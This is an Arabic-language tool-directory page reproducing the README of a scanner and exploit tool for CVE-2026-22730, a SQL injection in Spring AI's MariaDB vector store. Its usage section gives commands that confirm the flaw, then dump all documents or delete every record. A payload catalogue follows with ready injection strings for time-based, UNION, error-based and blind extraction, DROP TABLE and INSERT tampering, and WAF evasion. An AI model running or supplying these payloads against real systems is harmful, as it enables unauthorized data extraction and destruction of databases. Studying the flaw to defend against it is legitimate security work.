Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-22730-Scanner — # أداة فحص واستغلال لـ CVE-2026-22730، حقن SQL في مخزن متجهات MariaDB الخاص بـ Spring AI. تدعم الكشف المستند إلى الوقت، وطرق GET/POST، والاستغلال مع إعداد التقارير. | Kitploit
أدوات/GitHubGitHub/null200ok/cve-2026-22730-scanner
ماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubnull200ok/cve-2026-22730-scanner

CVE-2026-22730-Scanner

# أداة فحص واستغلال لـ CVE-2026-22730، حقن SQL في مخزن متجهات MariaDB الخاص بـ Spring AI. تدعم الكشف المستند إلى الوقت، وطرق GET/POST، والاستغلال مع إعداد التقارير.

عرض المستودع
2منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ماسح واستغلال CVE-2026-22730 – حقن SQL في مخزن متجهات MariaDB الخاص بـ Spring AI

Python Version
License
Status

أداة تقييم أمني احترافية لثغرة CVE-2026-22730 – ثغرة حقن SQL حرجة تم اكتشافها في مخزن متجهات MariaDB الخاص بـ Spring AI. تتيح هذه الأداة لمختبري الاختراق المصرح لهم وباحثي الأمن اكتشاف الثغرة واستغلالها بأمان لأغراض تعليمية أو دفاعية.

📖 نظرة عامة

تؤثر ثغرة CVE-2026-22730 على إصدارات Spring AI 1.0.x < 1.0.4 و 1.1.x < 1.1.3 عند استخدام مخزن متجهات MariaDB. بسبب عدم كفاية تهريب قيم السلاسل في تعبيرات التصفية، يمكن للمهاجم حقن SQL تعسفي من خلال معاملات يتحكم بها المستخدم (مثل فلاتر البيانات الوصفية). يمكن أن يؤدي ذلك إلى:

  • استرجاع بيانات غير مصرح به – تجاوز ضوابط الوصول القائمة على البيانات الوصفية
  • حذف قاعدة البيانات بالكامل – مسح مخزن المتجهات بأكمله (تدميري)
  • تسريب بيانات صامت – في خطوط أنابيب RAG، يتم دمج البيانات المسربة في استجابات LLM دون اكتشاف

توفر هذه الأداة طريقة آمنة وقابلة للتكوين للتحقق من وجود الثغرة وإظهار تأثيرها (بموافقة صريحة) أثناء تقييمات الأمن المصرح بها.

🚀 الميزات

✅ اكتشاف قائم على الوقت – يستخدم حقن SLEEP() لتأكيد الثغرة

✅ طرق HTTP متعددة – يدعم GET (معاملات الاستعلام) و POST (نص JSON)

✅ مدة نوم مخصصة – اضبطها حسب زمن استجابة الشبكة أو متطلبات التخفي

✅ خيارات الاستغلال – استرجاع جميع المستندات (SELECT) أو حذف الكل (DELETE)

✅ تقارير شاملة – إنشاء تقارير HTML و JSON ونص عادي

✅ واجهة سطر أوامر سهلة الاستخدام – وضع تفاعلي ووسائط سطر أوامر كاملة

✅ نظام حمولات قابل للتوسيع – دمج سلاسل حقن مخصصة بسهولة

📋 المتطلبات

  • Python 3.6 أو أحدث
  • مكتبة requests (pip install requests)

🔧 التثبيت

root@kitploit:~
git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git

cd cve-2026-22730-scanner

📖 الاستخدام

يمكن تشغيل السكربت في الوضع التفاعلي أو باستخدام وسائط سطر الأوامر.

الصيغة الأساسية

root@kitploit:~
python cve-2026-22730_scanner.py [options]

الخيارات

الخيارالوصف
--urlعنوان URL الهدف (مثل: http://localhost:8081/api/docs)
--methodطريقة HTTP: GET أو POST (الافتراضي: GET)
--paramاسم معامل الاستعلام لـ GET، أو اسم مرجعي لـ POST (اختياري)
--json-templateقالب JSON مع عنصر نائب __PAYLOAD__ (مطلوب لـ POST)
--baselineقيمة غير ضارة لطلب خط الأساس (الافتراضي: غير موجود)
--sleepثواني النوم للاكتشاف القائم على الوقت (الافتراضي: 5)

أمثلة

  1. طلب GET (معامل استعلام)
root@kitploit:~
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"
  1. طلب POST مع نص JSON
root@kitploit:~
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "__PAYLOAD__"}'
  1. وقت نوم وخط أساس مخصصان
root@kitploit:~
python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"
  1. الوضع التفاعلي
root@kitploit:~
python cve-2026-22730_scanner.py

سيُطلب منك إدخال عنوان URL والطريقة ومعامل/قالب JSON وخط الأساس ووقت النوم.

سير عمل الاستغلال

إذا تبين أن الهدف معرض للثغرة، يعرض السكربت قائمة:

root@kitploit:~
[?] الهدف معرض للثغرة. اختر خيار الاستغلال:

    1. استرجاع جميع المستندات (حقن SELECT)
    
    2. حذف جميع المستندات (حقن DELETE) - تدميري
    
    3. تخطي الاستغلال

الخيار 1 يرسل ' OR '1'='1 لاسترجاع جميع الصفوف (غير تدميري، يقرأ البيانات فقط).

الخيار 2 يرسل نفس الحمولة باستخدام طريقة HTTP DELETE – يزيل جميع السجلات بشكل دائم. يتطلب تأكيدًا صريحًا.

يتم تسجيل جميع الإجراءات وتضمينها في التقرير النهائي.

📁 ملفات المخرجات

بعد كل تشغيل، يتم إنشاء ثلاثة ملفات بطابع زمني في الدليل الحالي:

  • cve-2026-22730_YYYYMMDD_HHMMSS.json – تقرير JSON قابل للقراءة آليًا مع جميع التفاصيل.
  • cve-2026-22730_YYYYMMDD_HHMMSS.txt – ملخص نص عادي، بما في ذلك بيانات الاستغلال إن وجدت.
  • cve-2026-22730_YYYYMMDD_HHMMSS.html – تقرير HTML منسق، مناسب للمشاركة أو الأرشفة.

⚠️ إخلاء مسؤولية مهم

هذه الأداة مخصصة لاختبارات الأمن المصرح بها والأغراض التعليمية فقط.

الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني وغير أخلاقي.

لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الضرر الناجم عن هذا البرنامج.

احصل دائمًا على إذن كتابي قبل فحص أو استغلال أي هدف.

📚 المراجع

  • GitHub Security Advisory GHSA‑c267‑rfvc‑mvpm
  • Spring Security Advisory AV26‑245
  • المقال البحثي الأصلي بواسطة SecureLayer7

🤝 المساهمة

طلبات السحب وتقارير الأخطاء واقتراحات الميزات مرحب بها. يرجى فتح مشكلة أولاً لمناقشة التغييرات الرئيسية.

📄 الترخيص

هذا المشروع مرخص بموجب رخصة MIT – راجع ملف LICENSE للحصول على التفاصيل.

طُوّر بـ ❤️ بواسطة Nabeel

أمثلة للحمولات (PAYLOAD)

لمجتمع الأمن

📌 كيفية استخدام هذه الحمولات

في السكربت، عند استخدام POST مع --json-template، استبدل __PAYLOAD__ بأي حمولة من القائمة أدناه.

لطلبات GET، مرر الحمولة ببساطة كقيمة للمعامل (يتعامل السكربت مع ترميز URL تلقائيًا).

🔥 فئات الحمولات

  1. الاكتشاف / القائم على الوقت

تسبب هذه الحمولات تأخيرًا إذا نجح الحقن. استخدمها لتأكيد الثغرة.

الحمولةالوصف
' OR SLEEP(5) --حمولة قياسية قائمة على الوقت. إذا توقف الاستعلام لمدة ~5 ثوانٍ، فإن الحقن يعمل.
' OR BENCHMARK(10000000,MD5('a')) --بديل لـ MySQL/MariaDB (BENCHMARK).
' OR (SELECT * FROM (SELECT(SLEEP(5)))a) --نوم متداخل لتجاوز بعض الفلاتر.
' OR 1=1 AND SLEEP(5) --يجمع بين شرط صحيح دائمًا والنوم.
  1. تجاوز المصادقة / استرجاع جميع الصفوف

تجعل هذه الحمولات شرط WHERE صحيحًا دائمًا، مما يعيد جميع السجلات.

الحمولةالوصف
' OR '1'='1حقن كلاسيكي صحيح دائمًا.
' OR 1=1 --متغير آخر (يتطلب مسافة بعد --).
' OR ''='يعتمد على مقارنة سلسلة فارغة.
' OR 1=1#يستخدم # لتعليق MariaDB (مشفر كـ %23).
' OR 1=1 LIMIT 1 --يعيد صفًا واحدًا فقط (مفيد للمخرجات المتحكم بها).
  1. استخراج البيانات القائم على UNION

مفيد عندما يعرض التطبيق النتائج. تحتاج إلى مطابقة عدد الأعمدة.

الحمولةالوصف
' UNION SELECT NULL, database(), user(), version() --استرجاع اسم قاعدة البيانات والمستخدم والإصدار. (اضبط عدد NULL لمطابقة الأعمدة.)
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() --سرد الجداول.
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' --سرد الأعمدة.
' UNION SELECT 1, content, metadata FROM vector_store --تفريغ البيانات الفعلية (إذا تطابق عدد الأعمدة).
  1. الاستخراج القائم على الأخطاء

تؤدي إلى أخطاء تسرب المعلومات.

الحمولةالوصف
' AND extractvalue(1, concat(0x7e, database())) --قائم على الأخطاء في MariaDB/MySQL.
' AND updatexml(1, concat(0x7e, version()), 1) --طريقة أخطاء أخرى.
' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) --خطأ مفتاح مكرر.
  1. القائم على القيم المنطقية (أعمى)

مفيد عندما لا تظهر أي مخرجات أو أخطاء، لكن سلوك التطبيق يتغير.

الحمولةالوصف
' AND (SELECT ascii(substring(database(),1,1))) > 64 --يتحقق من الحرف الأول لاسم قاعدة البيانات.
' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 --يتحقق من عدد الجداول.
' OR (SELECT 1 FROM users LIMIT 1) = 1 --يختبر وجود جدول.
  1. عمليات الكتابة / الحذف

حمولات تدميرية (استخدم بحذر شديد).

الحمولةالوصف
' OR '1'='1عند استخدامها مع DELETE، تزيل جميع الصفوف.
' OR 1=1; DROP TABLE vector_store --تحاول إسقاط الجدول بالكامل (يتطلب استعلامات مكدسة، غالبًا معطلة).
' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') --تحاول إدراج بيانات جديدة.
  1. تجاوز الفلاتر / WAF

إصدارات مبهمة لتجاوز مطابقة الأنماط البسيطة.

الحمولةالوصف
%27%20OR%20SLEEP(5)%20--مشفرة URL (يتعامل السكربت مع هذا تلقائيًا).
' /**/OR/**/SLEEP(5)/**/--تعليقات سطرية لتقسيم الكلمات المفتاحية.
' OR 0x273d27=0x273d27 --مقارنة مشفرة بالنظام الست عشري ('=').
' OR 1=1 /*!50000SLEEP(5)*/ --تعليق خاص بإصدار MySQL.
  1. حمولات محددة من نشرة CVE
الحمولةالوصف
' OR '1'='1تستخدم لاسترجاع جميع المستندات (إثبات المفهوم).
' OR SLEEP(5) --حمولة اكتشاف قائمة على الوقت تستخدم في الماسح.
' OR '1'='1تستخدم أيضًا لحقن DELETE.

📝 أمثلة على قوالب JSON مع الحمولة

root@kitploit:~
{"department": "' OR SLEEP(5) --"}

{"department": "' OR '1'='1"}

{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}

في السكربت، ستمرر القالب على النحو التالي:

root@kitploit:~
--json-template '{"department": "__PAYLOAD__"}'

سيستبدل السكربت __PAYLOAD__ بالحمولة الفعلية.

ملاحظة حول عنوان URL

يتطلب السكربت عنوان URL الكامل لنقطة النهاية التي تقبل المعامل المعرض للثغرة. على سبيل المثال:

✅ http://example.com/api/docs – إذا كانت نقطة النهاية هي /api/docs

✅ http://example.com/search – إذا كانت نقطة النهاية هي /search

❌ http://example.com – غير كافٍ، يحتاج السكربت إلى المسار الدقيق

تنزيل الأداة